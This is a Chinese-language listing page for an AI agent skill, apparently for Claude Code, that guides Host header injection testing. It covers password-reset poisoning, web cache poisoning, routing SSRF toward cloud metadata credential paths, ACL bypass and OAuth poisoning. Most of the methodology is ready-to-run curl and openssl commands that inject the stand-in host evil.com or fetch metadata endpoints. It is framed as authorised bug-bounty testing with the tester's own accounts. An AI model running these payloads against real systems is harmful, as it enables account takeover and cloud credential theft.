mcpField
H
hunt-host-header

hunt-host-header

github.com/uphiago安全1.3k42 次安装8 周前更新
代码仓库

关于 hunt-host-header

用于排查 Host 头注入的 Web 安全测试技能,涵盖密码重置投毒、缓存投毒、SSRF 和 OAuth/OIDC 测试。它强调在受控环境中验证影响,并排除仅反射等误报。

主要功能

  1. 01密码重置投毒检查
  2. 02基于 Host 的缓存投毒测试
  3. 03路由与路径覆盖 SSRF 探测
  4. 04OAuth/OIDC Host 投毒检查
  5. 05证据与误报验证

适用场景

  1. 01用测试账户检查重置邮件链接
  2. 02检查 Host 反射是否污染共享缓存
  3. 03测试代理路由能否访问内部目标
  4. 04验证 OAuth 流程中的 Host 重定向

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/uphiago/recon-skills --skill hunt-host-header

安装后在 Claude Code 中输入/hunt-host-header确认已加载。

详细介绍

HUNT-HOST-HEADER — Host 头注入

依据 / 来源

此技能基于公开的 Host 头攻击文献,而非凭空编造的载荷。 在报告中引用技术来源,绝不要编造 ID:

  • 密码重置投毒类 — 经典案例是 Skelet/Detectify 时代的 “Practical HTTP Host header attacks”(Django 的 request.get_host() → 密码重置链接 案例)。许多框架在构建重置 URL 时直接使用请求的 Host,未设置类似 ALLOWED_HOSTS 的 允许列表。请引用你实际观察到的框架及 Host 反射行为。
  • 通过未纳入缓存键的 Host / X-Forwarded-Host 进行 Web 缓存投毒 — PortSwigger Research 的 James Kettle 所著 “Practical Web Cache Poisoning”(2018)和 “Web Cache Entanglement”(2020)。 这些文献定义了未纳入缓存键的输入投毒,这正是 X-Forwarded-Host 投毒背后的机制。
  • 基于路由的 SSRF — PortSwigger Research 的 “Cracking the lens” / 基于路由的 SSRF (Host 头控制前端选择上游服务)。

撰写报告时,请指出你复现的确切行为(反射的头、使用新缓存键时命中缓存、来自 Collaborator 的带外命中)。不要照搬未经你验证的 CVE 或 H1 ID——缺少引用也好过引用错误。


皇冠明珠目标

Host 头注入若能影响密码重置链接 = 严重(可接管任意用户的账户)。

高价值攻击链:

  • 密码重置投毒 → ATO — 服务器根据请求 Host 构建重置链接; 攻击者设置 Host: evil.com;受害者收到的重置邮件会将令牌指向攻击者 → 受害者点击后令牌被截获 → 完全接管账户。预先接管的变体:即使受害者只是请求 重置自己的密码,也会将令牌泄露给 evil.com。
  • 通过未纳入缓存键的 Host 进行 Web 缓存投毒 — CDN/反向代理缓存了一个将攻击者的 X-Forwarded-Host 反射到绝对 URL(脚本 src、链接、重定向)中的响应 → 被投毒的 缓存条目会通过同一缓存键发送给之后的每位访客 → 大规模 XSS/重定向/CSP 绕过。
  • 基于路由的 SSRF — 前端使用 Host 头本身选择上游服务; Host: [REDACTED_IP](或内部主机名)会使前端将你的请求转发到该目标 → 云元数据 / 内部管理面板。
  • 路径覆盖 SSRF / ACL 绕过 — IIS/ASP.NET/Spring 会认可 X-Original-URL / X-Rewrite-URL,以覆盖路由路径 → 访问 /admin 或边缘 ACL 认为已拦截的内部端点。 (与基于路由的 SSRF 属于不同层——见阶段 3。)
  • OAuth/OIDC 投毒 — Host 决定 redirect_uri 或 OIDC 的 issuer / 发现文档 → 授权码或令牌被窃取 → ATO。

攻击面信号

Any password reset / forgot-password / email-verification / invite endpoint
Any app behind CDN/reverse proxy (Cloudflare, Varnish, Fastly, Akamai, Nginx, HAProxy)
OAuth/OIDC authorization + /.well-known/openid-configuration endpoints
Absolute URLs constructed from request Host (set-password links, share links, webhooks)
Email-sending endpoints (transactional mail, notifications)
Reverse proxies that may route by Host (k8s ingress, service mesh, internal forward proxies)

危险的候选头(未纳入缓存键 / 受信任的输入):

Host                 X-Forwarded-Host      X-Host
X-Forwarded-Server   X-HTTP-Host-Override  Forwarded
X-Original-URL       X-Rewrite-URL         X-Override-URL   (path-override class)

逐步狩猎方法

始终使用你自己的已注册测试账户进行测试。绝不要请求其他用户重置密码。

阶段 1 — 密码重置投毒
# 1a. Override Host directly
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/forgot-password \
  -H "Host: evil.com" \
  -H "Content-Type: application/json" \
  -d '{"email":"[email protected]"}'

# 1b. X-Forwarded-Host (behind reverse proxy that trusts it)
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/forgot-password \
  -H "Host: $TARGET" \
  -H "X-Forwarded-Host: evil.com" \
  -d "[email protected]"

# 1c. Host + X-Forwarded-Host combo, and X-Host
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/forgot-password \
  -H "Host: $TARGET" -H "X-Host: evil.com" \
  -d "[email protected]"

# 1d. Dual-Host / Host override smuggling: some stacks read the SECOND Host
printf 'POST /forgot-password HTTP/1.1\r\nHost: %s\r\nHost: evil.com\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 33\r\nConnection: close\r\n\r\[email protected]' "$TARGET" \
  | openssl s_client -quiet -connect $TARGET:443 2>/dev/null

# 1e. Absolute-URL injection: keep real Host, append attacker host so the
#     reset link becomes https://TARGET.evil.com/... or routes the token out
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/forgot-password \
  -H "Host: $TARGET.evil.com" -d "[email protected]"

# 1f. Trailing-port / userinfo confusion (parsers that split on : or @)
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/forgot-password \
  -H "Host: $TARGET:[email protected]" -d "[email protected]"

**确认:**在你自己的测试收件箱中打开重置邮件,检查链接的主机。令牌必须出现在攻击者 控制的主机下(evil.com、$TARGET.evil.com 或 Collaborator 域名),这才算是真正的发现。将 Burp Collaborator 域名用作注入的主机,这样受害者点击链接 (或预览抓取器获取链接)时,你就能在带外捕获令牌并取得证据——见验证部分。

阶段 2 —— 通过 Host / X-Forwarded-Host 进行 Web 缓存投毒

机制:这是一个反射漏洞,而不是 OOB 漏洞。注入的 Host 必须反射到响应正文中(绝对 URL、脚本 src、<link href>、<base href>、重定向 Location 或 canonical/og:url),并且该响应必须缓存到一个你无法控制的键上。缓存测试本身不会触发 Collaborator 回连——只有之后受害者的浏览器加载被投毒的绝对 URL 时才会触发。

# 2a. Is the host reflected into the body?
curl --max-time 30 --connect-timeout 10 -s https://$TARGET/ \
  -H "Host: $TARGET" -H "X-Forwarded-Host: canary-$RANDOM.example" \
  | grep -i "canary"

# 2b. Is the response cacheable, and what is the cache key?
curl --max-time 30 --connect-timeout 10 -sI "https://$TARGET/?cb=$RANDOM" \
  | grep -iE "cache-control|cf-cache-status|x-cache|age|via|surrogate|vary"
#   Look for: X-Cache/CF-Cache-Status: HIT, nonzero Age, Via: varnish/fastly/cloudfront.
#   Check Vary: — if Vary does NOT include X-Forwarded-Host, the header is UNKEYED → poisonable.

# 2c. Prove poisoning: poison once, then fetch CLEAN (no injected header) on same key.
URL="https://$TARGET/?cb=poison$RANDOM"
curl --max-time 30 --connect-timeout 10 -s "$URL" -H "X-Forwarded-Host: evilcdn.example" >/dev/null   # poison
curl --max-time 30 --connect-timeout 10 -s "$URL" | grep -i "evilcdn.example"                        # clean victim view → reflected = POISONED

排除误报(必做):

  • 如果某个反射只会出现在你自己的请求中(因为该标头已被纳入缓存键,例如出现在 Vary 中,或 CDN 将 Host 纳入缓存键),则这不算投毒——确认 2c 在请求中省略该标头时仍会返回载荷。
  • 每次都是 Age: 0 + MISS → 没有共享缓存 → 不会造成大范围影响。应降级为仅影响自身 / 低危。
  • 声称影响“大范围”之前,先从另一台设备 / 新的出口 IP / 无痕模式确认影响范围。缓存范围通常按边缘节点 / Cookie / 地理区域划分。
阶段 3 —— 通过 Host 标头进行 SSRF — 两种不同机制(切勿混为一谈)

它们作用于不同层。请分别测试;不能将它们组合到同一个请求中。

(3A) 基于路由的 SSRF —— Host 标头选择上游。 路径必须放在请求行中,和普通请求完全一样,因为元数据服务 / 内部主机提供的是纯 HTTP,只会看到你转发的请求行和标头。X-Original-URL 在这里无关紧要——EC2 IMDS 会忽略它。

# Correct routing-SSRF probe: path on the request line, Host steers the proxy upstream.
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/latest/meta-data/" -H "Host: [REDACTED_IP]"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/latest/meta-data/iam/security-credentials/" -H "Host: [REDACTED_IP]"

# GCP / Azure equivalents (still routing via Host):
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/computeMetadata/v1/" \
  -H "Host: metadata.google.internal" -H "Metadata-Flavor: Google"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/metadata/instance?api-version=2021-02-01" \
  -H "Host: [REDACTED_IP]" -H "Metadata: true"

# Internal hostname / port routing:
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/" -H "Host: localhost:6379"   # Redis behind the proxy
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/" -H "Host: internal-admin.svc.cluster.local"

# Blind / no reflection? Point the Host at a Collaborator subdomain and watch for the
# proxy's outbound DNS/HTTP lookup — that proves the front-end resolves the attacker host.
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/" -H "Host: $COLLAB"

(3B) 路径覆盖型 SSRF / ACL 绕过 —— X-Original-URL / X-Rewrite-URL。 这是 IIS/ASP.NET/Spring-Cloud-Gateway 的一项功能,应用会覆盖路由路径。实际的 Host 保持不变;你绕过的是边缘路径 ACL,而不是操控上游。保留实际的 Host。

# Reach an internal/blocked path the edge thought it denied. Real Host stays.
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/" -H "Host: $TARGET" -H "X-Original-URL: /admin"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/" -H "Host: $TARGET" -H "X-Rewrite-URL: /internal/metrics"
# Diff against a direct GET /admin (which the edge blocks) — a different status/body proves override.

旧探测 Host: [REDACTED_IP] + X-Original-URL: /latest/meta-data/ 是错误的:这两个标头作用于不同层,无法组合。访问元数据时使用 3A,绕过 ACL 时使用 3B。

阶段 4 —— OAuth / OIDC / SAML 投毒
# Does the authorization endpoint build redirect_uri / display URL from Host?
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/oauth/authorize?response_type=code&client_id=app&redirect_uri=https://$TARGET/cb" \
  -H "Host: evil.com" | grep -iE "redirect|location|action="

# OIDC discovery: if issuer/endpoints reflect Host, the whole flow can be re-pointed.
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/.well-known/openid-configuration" -H "X-Forwarded-Host: evil.com" \
  | grep -iE "issuer|authorization_endpoint|token_endpoint|jwks_uri"

**确认:**授权码 / 令牌必须实际发送到攻击者的主机(在 Collaborator 上捕获)——仅有反射字符串并不代表发生了 ATO。

阶段 5 —— 标头模糊测试(Param Miner)

Burp Param Miner → Guess headers 速度更快,还能找到下方列表遗漏的未纳入缓存键 / 影响缓存的标头。手动扫描:

HOST_HEADERS=(X-Forwarded-Host X-Host X-Forwarded-Server X-HTTP-Host-Override \
  Forwarded X-Original-URL X-Rewrite-URL X-Override-URL X-Forwarded-Scheme)
for H in "${HOST_HEADERS[@]}"; do
  echo "=== $H ==="
  curl --max-time 30 --connect-timeout 10 -s -I "https://$TARGET/" -H "$H: canary-$RANDOM.example" \
    | grep -iE "location|x-cache|cf-cache|age|set-cookie"
done

攻击链表

发现攻击链影响
重置链接的主机 = 攻击者(自有测试账户)注入 Collaborator 主机 → 点击时捕获令牌严重 — 任何用户的 ATO
X-Forwarded-Host 反射到绝对 URL 中 + 可缓存且未纳入缓存键投毒缓存键 → 无痕请求返回载荷 → 加载 XSS/重定向高危 — 大范围缓存投毒
前端根据 Host 进行路由Host: [REDACTED_IP],路径放在请求行中 → 凭据高危/严重 — SSRF → 云凭据
X-Original-URL 覆盖路径访问在边缘被拦截的 /admin高危 — ACL 绕过 / SSRF
OAuth redirect_uri/issuer 根据 Host 构建重定向流程 → 在 Collaborator 上捕获授权码/令牌严重 — 通过窃取授权码实现 ATO

验证(内部规范)

✅ **密码重置:**你自己的测试账户收到的邮件中的令牌 URL 使用了攻击者控制的主机。最有力的证据 = 注入 Collaborator 主机,并在点击/预览链接时,展示携带令牌的入站 HTTP 请求(带外捕获)。 ✅ **缓存投毒:**不带注入请求头的请求(使用新的出口 IP / 无痕模式)仍会返回攻击者的负载 → 已证实共享缓存投毒。如果按 Vary 键区分或仅为 MISS/Age:0,则降级为低危。 ✅ **路由 SSRF:**获得来自 [REDACTED_IP] / 内部主机的真实响应正文,或前端对你的 Collaborator 触发带外 DNS/HTTP 请求(盲测情况)。 ✅ **路径覆盖:**与被边缘层拦截的直接请求相比,状态码/正文存在差异,证明覆盖已生效。 ✅ **OAuth/OIDC:**授权码 / 令牌确实已发送到攻击者主机(已捕获),而不只是被反射。

务必排除误报:

  • 被反射 ≠ 被缓存。仅为你缓存 ≠ 为其他人缓存(检查 Vary、第二个 IP)。
  • 响应中回显你的 Host 字符串,不代表存在 SSRF;除非响应内容来自内部目标,或你的 Collaborator 被触发。
  • 某些邮件服务无论 Host 是什么,都会将链接重写为固定的 SITE_URL — HTTP 响应中反射请求头并不能证明邮件遭到投毒;请检查邮件正文。

严重性:

  • 重置 → 可接管任意用户账户(ATO):严重
  • 路由 SSRF → 云元数据凭证:严重(凭证可用时)/ 高危
  • 缓存投毒 → 大规模 XSS/重定向(已证实共享缓存键):高危
  • 路径覆盖 → 可访问内部/管理资源:高危
  • 仅反射、不可缓存、不在邮件中、无法访问内部资源:低危 / 信息性

验证

运行此自测,确认已准备好搜寻 Host 头问题:

  1. 技能完整性 — 确认技能文件可读且格式正确:

    grep -q "name: hunt-host-header" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL"
    grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL"
    
  2. 类别检查 — 确认技能具有类别:

    grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL"
    
  3. 陷阱部分 — 确认已记录常见陷阱:

    grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
    

全部 3 项测试可验证技能结构正确,已准备就绪。


常见陷阱

  • Host 头反射但没有影响 — 页面中回显该请求头并非漏洞。需要缓存投毒、密码重置投毒或 SSRF。
  • 未经邮件确认的密码重置投毒 — 响应中反射 Host 并不能证明重置链接遭到投毒。请查阅实际收到的邮件。
  • 生成绝对 URL 还是相对 URL — 如果应用使用相对 URL,Host 头注入就没有影响。
  • 接受 X-Forwarded-Host,但不用于生成链接 — 该请求头可能会被记录,但不会用于应用逻辑。请测试应用实际如何处理它。

评论

支持 Markdown